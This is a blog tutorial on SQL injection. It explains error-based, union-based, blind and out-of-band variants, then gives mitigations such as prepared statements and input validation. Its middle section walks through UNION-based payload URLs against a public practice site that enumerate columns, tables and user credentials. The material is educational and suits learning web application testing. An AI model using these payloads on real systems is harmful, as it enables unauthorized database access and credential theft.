In this blog post, we review SQL Injection, a vulnerability representing 65.1 per cent of web applications attacks. So put your hacker mindset on as we delve into practical demonstrations of detecting, exploiting and mitigating against this vulnerability.
To gain the most out of this walk-through, it is essential to have a basic understanding of the following concepts:
- Writing SQL queries
- How web applications communicate with databases
By the end of the walk-through, readers should be able to:
- Enumerate vulnerable inputs to detect SQL injection vulnerabilities.
- Exploit the said vulnerabilities to exfiltrate data from the database further.
- Mitigate against these vulnerabilities.
Impact of the vulnerability
A successful SQL injection attack can result in unauthorized access to sensitive data, such as passwords, credit card details, or personal user information. Many high-profile data breaches in recent years have resulted from SQL injection attacks, leading to reputation damage and regulatory fines.portswigger academy – SQL injection
How do these attacks occur
SQL is a query language designed to manage data stored in relational databases. It is therefore used to access data, modify and delete data. Several sites on the internet store information in SQL databases.
These sites contain user inputs which and usually if data being entered in the inputs is not sanitized correctly, it may lead to vulnerabilities. SQL injections occur when a vulnerable user input field allows the user to directly input an SQL query, most often a malicious SQL command that gets executed in the database.
Types of SQL injections
These are the most common types and easy-to-exploit of SQL injection attacks. They occur when an attacker can use the same communication channel to launch the attack and gather results.
It consists of two types: error-based SQLi and Union-based SQLi
1. Error-based SQLi
This is an SQL injection technique that relies on error messages thrown by the database server to manipulate the data inside the database.
2. Union-based SQLi
This technique takes advantage of the UNION SQL operator by fusing multiple select statements to retrieve information and leverage it.
Here, the attacker sends data payloads to the server and observes the response to learn about its structure. This attack does not have any errors or data displayed on the webpage; thus, the attacker cannot see any information about the attack.
Instead, the attacker reconstructs the database structure by sending payloads, observing the application’s response, and the database server’s resulting behaviour. These attacks take longer to exploit and require an attacker to enumerate an entire database character by character. They can be divided into two:
1. Boolean-based Blind SQLi
This attack relies on sending an SQL query to the database, forcing the application to return a different result depending on whether the query returns a TRUE or FALSE result.
Depending on the result, the content within the HTTP response will change or remain the same. This allows the attacker to infer whether the payload used returned true or false.
2. Time-based Blind SQLi
This attack relies on sending an SQL query to the database, which forces the database to wait for a specified amount of time (in seconds) before responding.
The response time indicates to the attacker whether the result of the query is TRUE or FALSE. Depending on the results, either the response will be delayed or returned immediately, indicating a true or false.
These attacks are not very common, mainly because it depends on featured being enabled on the database server being used by the web application. They rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker.
Triggering the vulnerability
Triggering the error-based SQLi relies on understanding how poor coding practices can lead to this vulnerability. This will be illustrated by a PHP excerpt that takes in a name parameter via a $_GET request and queries the SQL database to get product content.
Line 3 in the above code is a dangerous way to write an SQL select statement. Since our input, in this case, accepts a name and gives us details about the product, we can insert a quote (“) as an input and directly manipulate the SELECT query. The resulting code will look as follows:
Note the position of the inserted quote. This closes off the first quote, and the remaining quote triggers an error in the database.
Practical Example 1 – Error based SQLi
Our first target for this practice is vulnerable to error-based SQLi. Head over to
Note that this website is purely used for practice, and this tutorial should not be used on live targets
1. Triggering the vulnerability
As we have seen above on how we can trigger a vulnerability by inserting a quote, we can try to do the same here at the end of the query as follows.
The extra quote triggers an error proving that an SQLi vulnerability exists.
Our next step involves injecting SQL queries to enumerate information from the database. We need to find out how many columns our database has using the ORDER BY to set the order of the results.
ORDER BY sorts data in ascending or descending order, based on one or more columns. If the number of columns we pass is less than the total number of columns in the current table, the application’s output should not change since the SQL query is valid.
However, if the number is larger than the total columns, we get an error since there is no such column.
Incrementally, we enumerate the columns till 11 without getting any errors.
http://testphp.vulnweb.com/listproducts.php?cat=1 ORDER BY 11
Upon reaching 12, we trigger an error indicating that only 11 columns exist in the current table
3. Finding an injection point
Now that we know how many columns the current table has, the UNION query comes into use. We use it to find which column is vulnerable and to combine results from multiple SELECT statements into a single result.
The vulnerable column is the one whose data will be displayed on the page. Our query will look as follows
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,7,8,9,10,11
Scrolling down, we see “7” displayed as the title name, indicating the column 7 is our injection point
Replace “7” with version() to display the MYSQL version, thus confirming the vulnerable column. Our payload looks as follows:
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,version(),8,9,10,11
4. Exploitation and exfiltration of data
We look at how we can incrementally exfiltrate data from the database by reconstructing SQL statements.
group_concat() can concatenate multiple columns of data into a string. We then utilize Information_schema, which is a database that stores information about other databases. The database() function returns the name of the current database.
Our payload will look as follows:
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()),8,9,10,11
We now have the following tables from the database:
We can try to exfiltrate data from the user’s table as it seems most interesting. Modifying our payload:
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,(SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),8,9,10,11
This gives us the following columns:
We can choose email, name, and pass as the table names to exfiltrate data from the above columns. We modify our query as follows. For this, we add a ‘0x10a’ between parameters to get a space character and differentiate between different parameters of data.
http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,(SELECT group_concat(name,0x10a,email,0x10a,pass) from users),8,9,10,11
John Smith – firstname.lastname@example.org – test
We complete our attack and get some login credentials to the site.
We have seen how poor coding practices can lead to dangerous web application vulnerabilities. Here we will cover different mitigation techniques to prevent these kinds of vulnerabilities
1. Secure coding and SDLC
Security driven coding practices are the best way to prevent SQL injection attacks. Developers should be aware of the best practices to use when coding and tools that can detect where errors have been made.
Cultivating the use of secure coding practices requires a commitment to their implementation throughout the entire software development life cycleSoftwareSecured – https://www.softwaresecured.com/introduction-to-sql-injection-mitigation/
2. Input validation and sanitation
The validation process is aimed at ensuring whether or not the input that has been submitted by a user is allowed. This takes into account the accepted type, length, format and so on.
The only input that is validated can be processed. So, any SQL commands being injected are counteracted. This can be achieved in the following ways:
- Use regular expressions to whitelist structured data – name,age,income etc
- For fixed set of values e.g drop-down list, radio buttons, determine which value is returned and the input data should only match one of the options.
The example above validates the table name and ensures only specified values are accepted. Now the $tablename can be appended directly to an SQL query without causing issues, achieving input validation
3. Parameterized queries
This is a process of pre-compiling an SQL statement so that you can then supply the parameters in order for the statement to be executed.
This helps the database recognize the code and distinguish it from input data. The user input is automatically quoted and the supplied input will not cause any changes to the initial SQL query in the database.
PHP Data Objects (PDO) adopts methods that simplify the use of parameterized queries. Additionally, this makes code easier to read. Below is an example of PHP code utilizing PDO with parameterized queries to prevent SQL injection
3. Stored Procedures
Stored procedures are used to group one or more SQL statements into a logical unit. Query parameterization occurs when stored procedures are used to interact with databases and employs variable binding.
Variable binding is a process that requires the definition of an SQL statement prior to insertion of variables allowing the code to be separated from user input.
In this example above we have a stored procedure that will be used to insert data into a customer table using a function (check_string) that tests the input parameters. If all checks pass, we perform an insert function to the database otherwise we throw an error.
4. Prepared statements
Prepared statements are parameterized queries that are used with secure coding techniques to produce very secure code. Using prepared statements results in the automatic parameterization of user input.
In the code below, we have a vunlerable approach written in PHP:
In the above statement, user-provided is being embedded directly in the SQL query. If the user insert admin’ they will be able to log in as an admin without knowing the password as the construction of the vulnerable query allows it to be altered.
Here is a safer way using prepared statement using PHP:
The user-supplied data is not directly embedded in the SQL query in this example. Instead of the user data we have ? symbol. It acts as a placeholder and temporarily takes the place of the data.
The SQL query gets pre-compiled with those placeholders and the user’s data gets added later.
Always use character-escaping functions for user-supplied input. This is done to make sure the DBMS never confuses it with the SQL statement provided by the developer.
For example, use the mysql_real_escape_string() in PHP to avoid characters that could lead to an unintended SQL command.pt-security – https://www.ptsecurity.com/ww-en/analytics/knowledge-base/how-to-prevent-sql-injection-attacks/
The following example uses character-escaping functions.
6. Web application firewalls
One of the best practices to identify SQL injection attacks is having a web application firewall. The firewall sits in front of the webserver and monitors traffic going and out of the server and identifies any potential threats.
Defined rules are used to strengthen the functionality of the firewall. These rules and policies inform the firewall what it should look for. GET and POST requests are monitored and malicious traffic is blocked.
From this article, we have gone through what SQL injections are, the different types, how they are caused, how to exploit them and finally covered the mitigations against these attacks. This information is beneficial for those getting into Web App Pentesting as these are commonly occurring vulnerabilities arising from poor coding practices. Knowing how to exploit them comes into use when learning how to mitigate against them.
Some resources to practice SQL injection attacks: